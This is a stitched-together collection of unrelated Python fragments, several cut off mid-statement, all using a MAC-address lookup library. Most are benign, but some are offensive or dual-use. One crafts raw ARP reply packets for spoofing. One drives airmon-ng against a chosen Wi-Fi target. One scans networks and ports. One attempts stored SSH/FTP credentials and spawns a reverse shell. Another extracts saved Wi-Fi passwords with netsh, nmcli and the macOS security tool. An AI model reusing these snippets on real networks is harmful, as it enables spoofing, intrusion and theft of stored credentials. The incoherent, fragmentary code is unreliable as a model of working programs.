def getMacAddress(): return get_mac_address()
def ether(data): dest_mac,src_mac,proto=struct.unpack('! 6s 6s H',data[:14]) return[get_mac_address(dest_mac),get_mac_address(src_mac),socket.htons(proto),data[14:]]
def test_cli_main_debug(): assert get_mac_address() in run_cmd(BASE_CMD + ['--verbose', '--debug'])
def test_cli_no_net(): assert get_mac_address(hostname='localhost') in run_cmd( BASE_CMD + ['-n', 'localhost', '--no-network-requests'])
from getmac import get_mac_address edMEC = get_mac_address()# get_mac_address() ele vai busca o endereço MEC DO PC. print(edMEC)
def test_cli_main_basic(): assert run_cmd(BASE_CMD) == get_mac_address()
def query(query): # Time module new_query = '' if 'time' in query: if 'status' in query: status = ts() new_query = f'this is {status} time sir.' print(new_query) if 'current' in query: # Printing current time which has been inherted by Time part/ new_query = current_time() # /of projet. example :- tell me current time or what is the current time print(new_query) if 'set' in query and 'timer' in query: data_array = query.split(' ') for data in data_array: try: float(data) time = data break except: continue # print(data) new_query = f'timer set for {data}' timer(data) if 'open' in query: new_query = open(query) # Automating module if query == 'connect to wifi': new_query = Automating.wifi() # Browser module if 'tell me about' in query or 'ke bare mai batao' in query: new_query = Browser.show_info_about(query) print(new_query) if 'google' in query: new_query = Browser.search_on_google(query) # System module if 'shut down' in query or 'shutdown' in query: try: letters = query.split(' ') for letter in letters: try: int(letter) time = int(letter) print(time) System.shutdown(minutes=letter) except: pass except: System.shutdown() new_query = 'shutting down...' if 'restart' in query: try: letters = query.split(' ') for letter in letters: try: int(letter) time = int(letter) print(time) System.restart(minutes=letter) except: pass except: System.restart() new_query = 'restarting...' if 'minimize' in query: if 'all' in query: System.min_all() else: System.minimize() if 'close' in query: System.close() new_query = 'clossing current window' if 'change' in query and 'window' in query: System.change_working_window() if 'system' in query: if 'info' in query or 'information' in query or 'about' in query: System.info() if 'ip' in query: new_query = System.IP() print(new_query) if 'mac' in query and 'address' in query: # work only when connected to internet new_query = get_mac_address() print(new_query) if 'battery' in query and 'left' in query: new_query = System.bettery_left() print(new_query) if 'cpu' in query: if 'usage' in query or 'use' in query: new_query = System.cpu_usage() print(new_query) if 'restore' in query: if 'up' in query: System.maxsize() if 'down' in query: System.minisize() return new_query
def computer_mac_address(): return getmac.get_mac_address()
if (ip_3Lvl_current > ip_3Lvl_max): ip_3Lvl_current = ip_3Lvl_min ip_2Lvl_current += 1 if (ip_2Lvl_current > ip_2Lvl_max): ip_2Lvl_current = ip_2Lvl_min ip_1Lvl_current += 1 if (ip_1Lvl_current > ip_1Lvl_max): ip_1Lvl_current = ip_1Lvl_min CheckCurrentScan( ) # Тут должно быть проверка на "пропавших" После полного цикла сканирования. Fullip = str(ip_1Lvl_current) + "." + str( ip_2Lvl_current) + "." + str(ip_3Lvl_current) + "." + str( ip_4Lvl_current) # Создание полного адресса. #Thread(target=GetMacAndCalculation, args=(Fullip)).start() answer = get_mac_address(ip=Fullip, network_request=True) answerString = str(answer).replace(":", "-").upper() if answerString == "NONE" or answerString == "00-00-00-00-00-00": continue #print(Fullip + " - " + answerString) #CheckMacIntoDB(answerString) Why = "" Status = "" FromTB = "" Messange = "" try: with connection.cursor() as cursor: sql = "select COUNT(*) AS `MaxRow` FROM `ListOfKnown` WHERE `Mac` = '" + answerString + "';" # Запрос в список известных. cursor.execute(sql) for row in cursor: # По факту переинициализирует массив с полученными данными.
def network(): global internal_ip, external_ip, mac_add internal_ip = socket.gethostbyname(socket.gethostname()) external_ip = socket.gethostbyname(socket.getfqdn()) mac_add = getmac.get_mac_address() return internal_ip, external_ip, mac_add
import wmi import ifaddr import cpuinfo import platform from getmac import get_mac_address print(get_mac_address()) print(platform.processor()) print("--------------------------------------------------") # print(cpuinfo.get_cpu_info()) # print("--------------------------------------------------") # adapters = ifaddr.get_adapters() # for adapter in adapters: # print("--------------------------------------------------") # print(adapter) # print("IPs of network adapter " + adapter.nice_name) # for ip in adapter.ips: # print(ip.ip, ip.network_prefix) # print("--------------------------------------------------") # c = wmi.WMI() # for os in c.Win32_OperatingSystem(): # print(os)
realip = 0 for i in range(len(ip)): realip = realip + int(ip[i]) * (256**(3 - i)) return realip def mac2int(mac): mac = mac.split(":") realmac = 0 for i in range(len(mac)): realmac = realmac + int(mac[i]) * (256**(5 - i)) interface = sys.argv[1] sender_ip = sys.argv[2] target_ip = sys.argv[3] target_mac = sys.argv[4] #추후수정 예정 #mymac=get_mac(sys.argv[1]) mymac = get_mac_address(interface=interface) #target_mac="" #print win_mac sender_ip = ip2int(sender_ip) target_ip = ip2int(target_ip) myeth = header.Eth("\xff\xff\xff\xff" + struct.pack('!6B', mymac) + "\x08\x06") myarp = header.Arp("\x00\x01" + "\x08\x00" + "\x06\x04" + "\x02" + struct.pack('!6B', mymac) + struct.pack('!4B', sender_ip) + "\x00\x00\x00\x00\x00\x00" + struct.pack('!4B', target_ip)) s = socket(AF_PACKET, SOCK_RAW) s.bind((interface, 0)) s.send(myeth + myarp)
import json from socket import AF_INET, SO_BROADCAST, SOCK_DGRAM, SOL_SOCKET, socket from getmac import get_mac_address import rospy from utils.config import BROADCAST_PORT_V2 from utils.utils import get_my_id if __name__ == "__main__": rospy.init_node("broadcast_server") rate = rospy.Rate(10) while not rospy.is_shutdown(): # 配置udp广播 s = socket(AF_INET, SOCK_DGRAM) s.bind(('', 0)) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) data = json.dumps({ "id": get_my_id(), "port": 11311, "mac": get_mac_address(), }, indent=4) # 发送广播包 try: s.sendto(data, ('<broadcast>', BROADCAST_PORT_V2)) except Exception as e: print(e) continue rate.sleep()
def get_machine_id(): return hashlib.md5(getmac.get_mac_address().encode('utf-8')).hexdigest()
def processmenu(menu, parent=None): global selected_interface global interface_mode global target global menu_data global wifilist global wilist global target_BSSID global interface_mac global target_channel global list2 global interfaces wifilist = [] optioncount = len(menu['options']) exitmenu = False if parent is None: set_data() menu = menu_data while not exitmenu: #Loop until the user exits the menu getin = runmenu(menu, parent) if getin == optioncount: exitmenu = True elif menu['options'][getin]['type'] == COMMAND: #menu = menu_data curses.def_prog_mode() # save curent curses environment os.system('reset') screen.clear() #clears previous screen os.system('echo > log ' + (menu['options'][getin]['command'])) os.system(menu['options'][getin]['command']) # run the command screen.clear( ) #clears previous screen on key press and updates display based on pos curses.reset_prog_mode() # reset to 'current' curses environment curses.curs_set(1) # reset doesn't do this right curses.curs_set(0) os.system('echo > log ' + str(menu)) elif menu['options'][getin]['type'] == MULTICOMMAND: #menu = menu_data curses.def_prog_mode() # save curent curses environment os.system('reset') screen.clear() #clears previous screen #os.system('echo > log ' + (menu['options'][getin]['command1'])) com1 = str(menu['options'][getin]['command1']) com2 = (menu['options'][getin]['command2']) _thread.start_new_thread(runcom, (com1, True)) #command1 _thread.start_new_thread(runcom, (com2, True)) #command1 screen.clear( ) #clears previous screen on key press and updates display based on pos curses.reset_prog_mode() # reset to 'current' curses environment curses.curs_set(1) # reset doesn't do this right curses.curs_set(0) os.system('echo > log ' + str(menu)) elif menu['options'][getin]['type'] == MAINCOMMAND: #menu = menu_data curses.def_prog_mode() # save curent curses environment os.system('reset') screen.clear() #clears previous screen #os.system('echo > log ' + (menu_data['options'][getin]['command'])) os.system( menu_data['options'][getin]['command']) # run the command screen.clear( ) #clears previous screen on key press and updates display based on pos curses.reset_prog_mode() # reset to 'current' curses environment curses.curs_set(1) # reset doesn't do this right curses.curs_set(0) #os.system('echo > log ' + str(menu)) if menu['options'][getin][ 'status'] == 'monitor' and selected_interface[-3:] != 'mon': selected_interface = selected_interface + 'mon' elif menu['options'][getin][ 'status'] == 'managed' and selected_interface[-3:] == 'mon': selected_interface = selected_interface[0:-3] os.system('sudo ifconfig ' + selected_interface + ' up') elif menu['options'][getin]['type'] == MENU: refresh_options_list2() set_data() screen.clear( ) #clears previous screen on key press and updates display based on pos menu = menu_data processmenu(menu['options'][getin], menu) # display the submenu screen.clear( ) #clears previous screen on key press and updates display based on pos elif menu['options'][getin]['type'] == WIFISEL: curses.def_prog_mode() # save curent curses environment os.system('reset') screen.clear() #clears previous screen wilist = getObjectives(selected_interface) os.system('echo > log ' + str(wilist)) for x in wilist: wifilist.append({ 'title': x["SSID"], 'type': WIFIOPT, 'command': x["SSID"], 'BSSID': x["ADDRESS"], 'CHANNEL': x['CHANNEL'] }) screen.clear( ) #clears previous screen on key press and updates display based on pos menu = menu_data screen.clear( ) #clears previous screen on key press and updates display based on pos curses.reset_prog_mode() # reset to 'current' curses environment curses.curs_set(1) # reset doesn't do this right curses.curs_set(0) processmenu(menu['options'][getin], menu) # display the submenu screen.clear( ) #clears previous screen on key press and updates display based on pos elif menu['options'][getin]['type'] == WIFIOPT: target = menu['options'][getin]['command'] target_BSSID = menu['options'][getin]['BSSID'] target_channel = str(menu['options'][getin]['CHANNEL']) set_data() exitmenu = True #returns to main menu screen.clear() screen.refresh() elif menu['options'][getin]['type'] == INTSEL: #displayMessage({"title": 'My New Message', "description": "Hello World"}) is_monitor = selected_interface[-3:] if is_monitor == 'mon': os.system('sudo airmon-ng stop ' + selected_interface) selected_interface = selected_interface.replace('mon', '') os.system('sudo ifconfig ' + selected_interface + ' up') selected_interface = menu['options'][getin]['command'] is_monitor = selected_interface[-3:] if is_monitor == 'mon': os.system('sudo airmon-ng stop ' + selected_interface) selected_interface = selected_interface.replace('mon', '') os.system('sudo ifconfig ' + selected_interface + ' up') interface_mac = str(get_mac_address(interface=selected_interface)) set_data() exitmenu = True #returns to main menu screen.clear() screen.refresh() # os.system('echo > log ' + str(get_mac_address(interface= selected_interface ))) elif menu['options'][getin]['type'] == EXITMENU: exitmenu = True
""" Created by PyCharm. File Name: LinuxBashShellScriptForOps:py-get-mac-addr-from-ip.py Version: 0.0.1 Author: Guodong Author Email: [email protected] URL: https://github.com/DingGuodong/LinuxBashShellScriptForOps Download URL: https://github.com/DingGuodong/LinuxBashShellScriptForOps/tarball/master Create Date: 2018/10/23 Create Time: 11:50 Description: Get MAC addresses of remote hosts and local interfaces Long Description: References: https://pypi.org/project/getmac/ Prerequisites: pip install getmac pip install getmac -i https://pypi.org/simple Development Status: 3 - Alpha, 5 - Production/Stable Environment: Console Intended Audience: System Administrators, Developers, End Users/Desktop License: Freeware, Freely Distributable Natural Language: English, Chinese (Simplified) Operating System: POSIX :: Linux, Microsoft :: Windows Programming Language: Python :: 2.6 Programming Language: Python :: 2.7 Topic: Utilities """ from getmac import get_mac_address ip_mac = get_mac_address(ip="192.168.88.127") print ip_mac
def _getHwAddrInKernel(self, ifName): ethMac = get_mac_address(interface=ifName) return ethMac.lower()
from getmac import get_mac_address macAddress = (get_mac_address()).replace(":", "") def getDirPath(time): dir = "MintsData/raw/" + str(macAddress) + "/" + str( time.year) + "/" + ('%02d' % time.month) + "/" + ('%02d' % time.day) return dir def getFilePath(time, dir, name): filePath = dir + "/" + "MINTS_" + macAddress + "_" + name + "_" + str( time.year) + "_" + ('%02d' % time.month) + "_" + ('%02d' % time.day) + ".csv" return filePath
def get_mac(self) -> str: """Return the mac of this device. By default, this will use the getmac package. """ return self._format_mac(get_mac_address())
def _get_mac(self): if self._mac == '': import getmac self._mac = getmac.get_mac_address() return self._mac
from getmac import get_mac_address import serial.tools.list_ports def findPort(find): ports = list(serial.tools.list_ports.comports()) for p in ports: currentPort = str(p) if(currentPort.endswith(find)): return(currentPort.split(" ")[0]) dataFolder = "/home/teamlary/mintsData/" duePort = findPort("Arduino Due") nanoPort = findPort("FT232R USB UART") show2Port = findPort("CP2104 USB to UART Bridge Controller") # macAddress = get_mac_address(interface="docker0").replace(":","") # macAddress = get_mac_address(interface="enp1s0").replace(":","") macAddress = get_mac_address(interface="eth0").replace(":","") gisNode = True gpsPort = findPort("GPS/GNSS Receiver")
def test_cli_main_verbose(): assert get_mac_address() in run_cmd(BASE_CMD + ['--verbose'])
def do_popup(event): try: m.tk_popup(event.x_root, event.y_root) finally: m.grab_release() WIDTH = 700 HEIGHT = 700 root = tk.Tk() computer_name = os.environ['COMPUTERNAME'] copy_text = computer_name m = tk.Menu(root, tearoff=0) wifi_host_mac = get_mac_address(interface="Wi-Fi") ethernet_host_mac = get_mac_address(interface="Ethernet") canvas = tk.Canvas(root, height=HEIGHT, width=WIDTH) canvas.pack() frame = tk.Frame(root, bg='#ffffff') frame.place(relx=0, rely=0, relwidth=1, relheight=1) label_for_computer_name = tk.Label(frame, text="Nazwa Komputera", bg="#ffcccc", font=("Sans", 30)) label_for_computer_name.place(relx=0.5, rely=0.11, anchor="center") computer_name_text = tk.Label(frame,
def test_cli_multiple_debug_levels(): assert get_mac_address() in run_cmd(BASE_CMD + ['-v', '-dd']) assert get_mac_address() in run_cmd(BASE_CMD + ['-v', '-ddd']) assert get_mac_address() in run_cmd(BASE_CMD + ['-v', '-dddd'])
def initHeader(self): """Initialize the IP header according to the IP format definition. """ # Ethernet header # Retrieve remote MAC address dstMacAddr = get_mac_address(ip=self.remoteIP) if dstMacAddr is not None: dstMacAddr = dstMacAddr.replace(':', '') dstMacAddr = binascii.unhexlify(dstMacAddr) else: # Force ARP resolution p = subprocess.Popen(["/bin/ping", "-c1", self.remoteIP]) p.wait() time.sleep(0.1) dstMacAddr = get_mac_address(ip=self.remoteIP) if dstMacAddr is not None: dstMacAddr = dstMacAddr.replace(':', '') dstMacAddr = binascii.unhexlify(dstMacAddr) else: raise Exception( "Cannot resolve IP address to a MAC address for IP: '{}'". format(self.remoteIP)) # Retrieve local MAC address srcMacAddr = self.get_interface_addr(bytes(self.interface, 'utf-8'))[1] eth_dst = Field(name='eth.dst', domain=Raw(dstMacAddr)) eth_src = Field(name='eth.src', domain=Raw(srcMacAddr)) eth_type = Field(name='eth.type', domain=Raw(b"\x08\x00")) # IP header ip_ver = Field(name='ip.version', domain=BitArray(value=bitarray('0100'))) # IP Version 4 ip_ihl = Field(name='ip.hdr_len', domain=BitArray(bitarray('0000'))) ip_tos = Field(name='ip.tos', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('00000000'), svas=SVAS.PERSISTENT)) ip_tot_len = Field(name='ip.len', domain=BitArray(bitarray('0000000000000000'))) ip_id = Field(name='ip.id', domain=BitArray(nbBits=16)) ip_flags = Field(name='ip.flags', domain=Data(dataType=BitArray(nbBits=3), originalValue=bitarray('000'), svas=SVAS.PERSISTENT)) ip_frag_off = Field(name='ip.fragment', domain=Data( dataType=BitArray(nbBits=13), originalValue=bitarray('0000000000000'), svas=SVAS.PERSISTENT)) ip_ttl = Field(name='ip.ttl', domain=Data(dataType=BitArray(nbBits=8), originalValue=bitarray('01000000'), svas=SVAS.PERSISTENT)) ip_proto = Field(name='ip.proto', domain=Integer(value=self.upperProtocol, unitSize=AbstractType.UNITSIZE_8, endianness=AbstractType.ENDIAN_BIG, sign=AbstractType.SIGN_UNSIGNED)) ip_checksum = Field(name='ip.checksum', domain=BitArray(bitarray('0000000000000000'))) ip_saddr = Field(name='ip.src', domain=IPv4(self.localIP)) ip_daddr = Field(name='ip.dst', domain=IPv4(self.remoteIP)) ip_payload = Field(name='ip.payload', domain=Raw()) ip_ihl.domain = Size([ ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr ], dataType=BitArray(nbBits=4), factor=1 / float(32)) ip_tot_len.domain = Size([ ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload ], dataType=Integer( unitSize=AbstractType.UNITSIZE_16, sign=AbstractType.SIGN_UNSIGNED), factor=1 / float(8)) ip_checksum.domain = InternetChecksum( fields=[ ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr ], dataType=Raw(nbBytes=2, unitSize=AbstractType.UNITSIZE_16)) self.header = Symbol(name='Ethernet layer', fields=[ eth_dst, eth_src, eth_type, ip_ver, ip_ihl, ip_tos, ip_tot_len, ip_id, ip_flags, ip_frag_off, ip_ttl, ip_proto, ip_checksum, ip_saddr, ip_daddr, ip_payload ])
def networkscanner(self): if len(self.ip)==0: network='192.168.43.1/24' else: network=self.ip+'24' print("scanning plz wait...") nm=nmap.PortScanner() nm.scan(hosts=network, arguments='-sP') host_list=[(x,nm[x]['status']['state']) for x in nm.all_hosts()] hosts=[] for host,status in host_list: print("Host\t{}".format(host)) hosts.append(host) time.sleep(15) time.sleep(5) i=1 with open("Network.csv","a",newline="") as file: writer=csv.writer(file) writer.writerow(["Router ip","HOST IP","HOST NAME","MAC Address","NetBiosname","Manufacturer","OS","net mask","subnet","Ports open"]) while i<len(hosts): try: print('MAC of',hosts[i],"is ",getmac.get_mac_address(ip=hosts[i], network_request=True)) time.sleep(20) n = NetBIOS() nbname = n.queryIPForName(hosts[i]) print(nbname) ip = IPNetwork(str(hosts[i])) print(hosts[i]," has net mask ",ip.netmask) net = ipaddress.ip_network('192.168.43.1/255.255.255.0', strict=False) print(net.network_address) time.sleep(20) ttl_values = {32: "Windows", 60: "MAC OS", 64: "MAC OS / Linux", 128: "Windows", 255: "Linux 2.4 Kernal"} ans = sr1(IP(dst=str(hosts[i])) / ICMP(), timeout = 2, verbose=0) if ans: if ans.ttl in ttl_values: print ("Host",hosts[i],"has ",ttl_values.get(ans.ttl)) else: print ("TBC") else: print( "TBC") for addr in [getmac.get_mac_address(ip=hosts[i], network_request=True)]: vendor = requests.get('http://api.macvendors.com/' + addr).text print(hosts[i],"vendor is", vendor) host_name=socket.gethostbyaddr(hosts[i]) print("host ip is",hosts[i],"host name is",host_name[0]) time.sleep(10) ##port scan socket.setdefaulttimeout(0.25) print_lock = threading.Lock() Total_ports_open = [] target = str(hosts[i]) t_IP = socket.gethostbyname(target) print ('Starting scan on host: ', t_IP) def portscan(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: con = s.connect((t_IP, port)) with print_lock: print(port, 'is open') Total_ports_open.append(port) con.close() except: pass def threader(): while True: worker = q.get() portscan(worker) q.task_done() q = Queue() startTime = time.time() for x in range(100): t = threading.Thread(target = threader) t.daemon = True t.start() for worker in range(1, 5000): q.put(worker) q.join() print('Time taken:', time.time() - startTime) print(Total_ports_open) writer.writerow([hosts[0],hosts[i],host_name[0],getmac.get_mac_address(ip=hosts[i], network_request=True), n.queryIPForName(hosts[i]),vendor,ttl_values.get(ans.ttl),ip.netmask,net.network_address,Total_ports_open]) except: pass i+=1
def handleDiscovery(self, dev, isNewDev, isNewData): if isNewDev: print("Discovered device", dev.addr) elif isNewData: print("Received new data from", dev.addr) try: while True: scanner = Scanner().withDelegate(ScanDelegate()) devices = scanner.scan(5.0) response = requests.get( 'http://backend-vanroey-project40.azurewebsites.net/visitors/visit/active' ) data = response.json() macAddress = getmac.get_mac_address() print(len(devices)) for line in data: if line["tag"]["status"]: for dev in devices: if dev.addr == line["tag"]["address"]: if dev.rssi >= -55: response_mac = requests.get( 'http://backend-vanroey-project40.azurewebsites.net/trackers/address/' + macAddress) data_mac = response_mac.json() if response_mac.status_code == 200: # post url = 'http://backend-vanroey-project40.azurewebsites.net/data' geg = {
def get_mac(self): from getmac import get_mac_address # get EFC-01 controller MAC address return get_mac_address(ip=self.host)
def get(self): mac = getmac.get_mac_address() hostname = socket.gethostname() ip_address = socket.gethostbyname(hostname) print(flask.request) return {'mac': mac, 'Ip': hostname, 'ip': ip_address}
def attemptExploit(self, IPAddress): myIP = ni.ifaddresses('eth0') IPAddress = str(ipaddress.IPv4Address(IPAddress)) MAC = get_mac_address(ip="{}".format(IPAddress)) try: socket.gethostbyaddr(IPAddress) except socket.herror: print("[-] Unknown host {0}".format(IPAddress)) return protocols = ["SSH", "FTP"] for protocol in protocols: # print(IPAddress, protocol) if ProtocolExploiter(protocol, getPort(protocol), IPAddress, MAC).isPortOpen() != 0: currentResult = { "vulnerable": "Port Closed", "timestamp": str(currentTime()), "ip": IPAddress, "port": getPort(protocol), "protocol": protocol, "os": "NA", "vendor": "NA", "device": "NA", "mac": MAC } self.exploitResults.append(currentResult) print(currentResult) continue protocolExploiter = globals()[protocol + "Exploiter"]( protocol, getPort(protocol), IPAddress, MAC) credentials = self.db.getCredentialsFromDB() # checking all username and passwords in DB detected = False for cred in credentials: if detected: break exploitResults = protocolExploiter.createRevShell(cred, myIP) curTime = currentTime() try: parsedEvidence = parseEvidence(exploitResults) currentResult = { "vulnerable": "Yes", "timestamp": str(curTime), "ip": IPAddress, "port": getPort(protocol), "protocol": protocol, "os": parsedEvidence["os"], "vendor": "NA", "device": parsedEvidence["dev"], "mac": MAC } detected = True self.db.insertIntoScanResults(curTime, "Yes", IPAddress, parsedEvidence["dev"], getPort(protocol), protocol, parsedEvidence["os"], Vendor, MAC) self.exploitResults.append(currentResult) print(currentResult) except: continue if detected is False: currentResult = { "vulnerable": "No", "timestamp": str(currentTime()), "ip": IPAddress, "port": getPort(protocol), "protocol": protocol, "os": "NA", "vendor": "NA", "device": "NA", "mac": getMAC(IPAddress) } self.db.insertIntoScanResults(currentTime(), "No", IPAddress, "NA", getPort(protocol), protocol, None, resolveVendor(MAC), MAC) print(currentResult) self.exploitResults.append(currentResult)
def device(): plat = platform.system() if plat == "Linux": try: try: nam = subprocess.Popen("sudo dmidecode -s system-manufacturer", shell=True, stdout=subprocess.PIPE) nam = nam.stdout.readline() nam = nam.decode("utf-8").split()[0] except: nam = subprocess.Popen("cat /sys/devices/virtual/dmi/id/sys_vendor", shell=True, stdout=subprocess.PIPE) nam = nam.stdout.readline() nam = nam.decode("utf-8").split()[0] except: nam = "unknown" try: try: product_name = subprocess.Popen("sudo dmidecode -s baseboard-product-name", shell=True, stdout=subprocess.PIPE) product_name = product_name.stdout.readline() product_name = product_name.decode("utf-8").split()[0] except: product_name = subprocess.Popen("cat /sys/devices/virtual/dmi/id/product_name", shell=True, stdout=subprocess.PIPE) product_name = product_name.stdout.readline() product_name = product_name.decode("utf-8").split()[0] except: product_name = "unknown" MAC = getmac.get_mac_address() IP_host = subprocess.Popen("hostname -i", shell=True, stdout=subprocess.PIPE) IP_host = IP_host.stdout.readline() IP_host = IP_host.decode("utf-8").split()[0] IP_All = subprocess.Popen("hostname -I", shell=True, stdout=subprocess.PIPE) IP_All = IP_All.stdout.readline() IP_All = IP_All.decode("utf-8").split()[0] hostname = subprocess.Popen("hostname", shell=True, stdout=subprocess.PIPE) hostname = hostname.stdout.readline() hostname = hostname.decode("utf-8").split()[0] try: WifiName = subprocess.Popen("iwgetid -r", shell=True, stdout=subprocess.PIPE) WifiName = WifiName.stdout.readline() WifiName = WifiName.decode("utf-8").split() if WifiName == []: os.system("sudo service network-manager restart") WifiName = subprocess.Popen("iwgetid -r", shell=True, stdout=subprocess.PIPE) WifiName = WifiName.stdout.readline() WifiName = WifiName.decode("utf-8").split()[0] else: WifiName = WifiName[0] except: WifiName = "unknown" try: DNS = subprocess.Popen("nmcli | grep servers", shell=True, stdout=subprocess.PIPE) DNS = DNS.stdout.readline() DNS = DNS.decode("utf-8") DNS = DNS.replace("\t", "") DNS = DNS.replace("\n", "") DNS = DNS.split() DNS1 = DNS[1] DNS2 = DNS[2] except: DNS1 = "unknown" DNS2 = "unknown" try: Gateway = subprocess.Popen("grep 0 /etc/resolv.conf", shell=True, stdout=subprocess.PIPE) Gateway = Gateway.stdout.readline() Gateway = Gateway.decode("utf-8").split()[1] except: Gateway = "unknown" try: SSID = WifiName if SSID == "unknown": password = "******" else: ShowProcess3 = subprocess.Popen(["nmcli", "-s", "-g", "802-11-wireless-security.psk", "connection", "show", SSID], stdout=subprocess.PIPE, stderr=subprocess.PIPE) password, erra = ShowProcess3.communicate() password = password.decode("utf-8").split()[0] except: password = "******" DeviceList = [nam, product_name, MAC, IP_host, IP_All, hostname, WifiName, Gateway, DNS1, DNS2, password] elif plat == "Windows": c = wmi.WMI() system = c.Win32_ComputerSystem()[0] sql = "select IPAddress,DefaultIPGateway from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE" out = c.query( sql ) nam = system.Manufacturer product_name = system.Model MAC = getmac.get_mac_address() IP_host = socket.gethostbyname('localhost') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect(("8.8.8.8", 80)) IP_All = sock.getsockname()[0] hostname = socket.gethostname() try: resu = subprocess.check_output(["netsh", "wlan", "show", "network"]) resu = resu.decode("ascii") resu = resu.replace("\r", "") ls = resu.split("\n") ls = ls[4:] ls = ls[0] ls = ls.split(": ") ssids = [] if ls == [""]: ssids.append("unknown") else: if len(ls) >= 3: ssid = ": ".join(ls[1:len(ls)]) ssids.append(ssid) else: ssid = "".join(ls[1]) ssids.append(ssid) WifiName = "".join(ssids) except: WifiName = "unknown" try: SSID = WifiName if SSID == "unknown": password = "******" else: comm = f"netsh wlan show profile {SSID} key=clear | findstr Key" ShowProcess2 = subprocess.Popen(comm, stdout=subprocess.PIPE, stderr=None, shell=True) res2, erra2 = ShowProcess2.communicate() res2 = res2.decode() res2 = res2.replace("Key", "").replace("Content", "").replace(":", "").replace(" ", "") if res2 == "": password = "******" else: password = res2.replace("\r", "").replace("\n", "") except: password = "******" try: comma = 'nslookup localhost | findstr "Address:"' processx = subprocess.Popen(comma, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) outx, err = processx.communicate() outx = outx.decode("utf-8").split() DNS1 = outx[1] except: DNS1 = "unknown" try: DNSbytes = DNS1.encode() process = subprocess.Popen(['ipconfig', '/all'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = process.communicate() out = out.split() indx = [g for g, rs in enumerate(out) if rs== DNSbytes] DNS2 = out[indx[0]+1] DNS2 = DNS2.decode() except: DNS2 = "unknown" try: scripton = 'ipconfig -all | findstr "DHCP" | findstr "Server"' process2 = subprocess.Popen(scripton, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out2, err2 = process2.communicate() out2 = out2.decode().replace(" DHCP Server", "").replace(" .", "").replace(" : ", "").replace("\r\n", "") Gateway = out2 except: Gateway = "unknown" DeviceList = [nam, product_name, MAC, IP_host, IP_All, hostname, WifiName, Gateway, DNS1, DNS2, password] if plat == "Darwin": try: nam = subprocess.Popen("system_profiler SPHardwareDataType | grep 'Model Name:' | awk '{print $3}'", shell=True, stdout=subprocess.PIPE) nam = nam.stdout.readline() nam = nam.decode("utf-8").split()[0] except: nam = "unknown" try: product_name = subprocess.Popen("system_profiler SPHardwareDataType | grep 'Model Identifier:' | awk '{print $3}'", shell=True, stdout=subprocess.PIPE) product_name = product_name.stdout.readline() product_name = product_name.decode("utf-8").split()[0] except: product_name = "unknown" MAC = getmac.get_mac_address() try: IP_host = subprocess.Popen("cat /etc/resolv.conf | grep nameserver | awk '{print $2}'", shell=True, stdout=subprocess.PIPE) IP_host = IP_host.stdout.readline() IP_host = IP_host.decode("utf-8").split()[0] except: IP_host = "unknown" try: IP_All = subprocess.Popen("ipconfig getifaddr en0", shell=True, stdout=subprocess.PIPE) IP_All = IP_All.stdout.readline() IP_All = IP_All.decode("utf-8").split()[0] except: IP_All = "unknown" hostname = subprocess.Popen("hostname", shell=True, stdout=subprocess.PIPE) hostname = hostname.stdout.readline() hostname = hostname.decode("utf-8").split()[0] try: WifiName = subprocess.Popen("/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport -I | awk -F' SSID: ' '/ SSID: / {print $2}'", shell=True, stdout=subprocess.PIPE) WifiName = WifiName.stdout.readline() WifiName = WifiName.decode("utf-8").split()[0] except: WifiName = "unknown" try: DNS1 = subprocess.Popen("scutil --dns | grep nameserver | awk '{print $3}'", shell=True, stdout=subprocess.PIPE) DNS1 = DNS1.stdout.readline() DNS1 = DNS1.decode("utf-8").split()[0] except: DNS1 = "unknown" try: DNS2 = subprocess.Popen("nslookup google.com | grep 'Server:' | awk '{print $2}'", shell=True, stdout=subprocess.PIPE) DNS2 = DNS2.stdout.readline() DNS2 = DNS2.decode("utf-8").split()[0] except: DNS2 = "unknown" try: Gateway = subprocess.Popen("netstat -rn | grep 'default' | awk '{print $2}'", shell=True, stdout=subprocess.PIPE) Gateway = Gateway.stdout.readline() Gateway = Gateway.decode("utf-8").split()[0] except: Gateway = "unknown" try: SSID = WifiName if SSID == "unknown": password = "******" else: password = subprocess.Popen(f"security find-generic-password -ga {SSID} | grep 'password:'", shell=True, stdout=subprocess.PIPE) password = password.stdout.readline() password = password.decode("utf-8").split()[0] except: password = "******" if IP_host == DNS2 or Gateway == DNS2: DNS2 = "8.8.8.8" else: pass DeviceList = [nam, product_name, MAC, IP_host, IP_All, hostname, WifiName, Gateway, DNS1, DNS2, password] return DeviceList
#Get the hot 100 songs for the date the user entered and add them to our songs_to_add list chart = billboard.ChartData('hot-100', date=f'{billboard_date.year:04}' + '-' + f'{billboard_date.month:02}' + '-' + f'{billboard_date.day:02}', fetch=True, timeout=25) for song in chart: songs_to_add.append((song.artist, song.title)) #MUST USE OPENSSL 1.0.2s #IDK but using the most recent version has given me issues #Get MAC Address for the active network interface wifi_mac = get_mac_address(interface=get_network_interface()).upper() #Instantiate the gmusicapi session, imitating a mobile device mc = Mobileclient() #Get filepath for home directory #This is where we'll save our authorization credentials to use the Google Play Music account credentials_filepath = os.path.join(os.path.expanduser("~"), "Nostalgia_Playlist_Credentials") #Check for those credentials in the home directory, to see whether we need to run mc.perform_oauth() again if not os.path.exists(credentials_filepath): #No credentials found, perform the initial authorization mc.perform_oauth(storage_filepath=credentials_filepath, open_browser=True) #Try logging in with a bogus device id first, so we can generate an exception with a list of acceptable ids
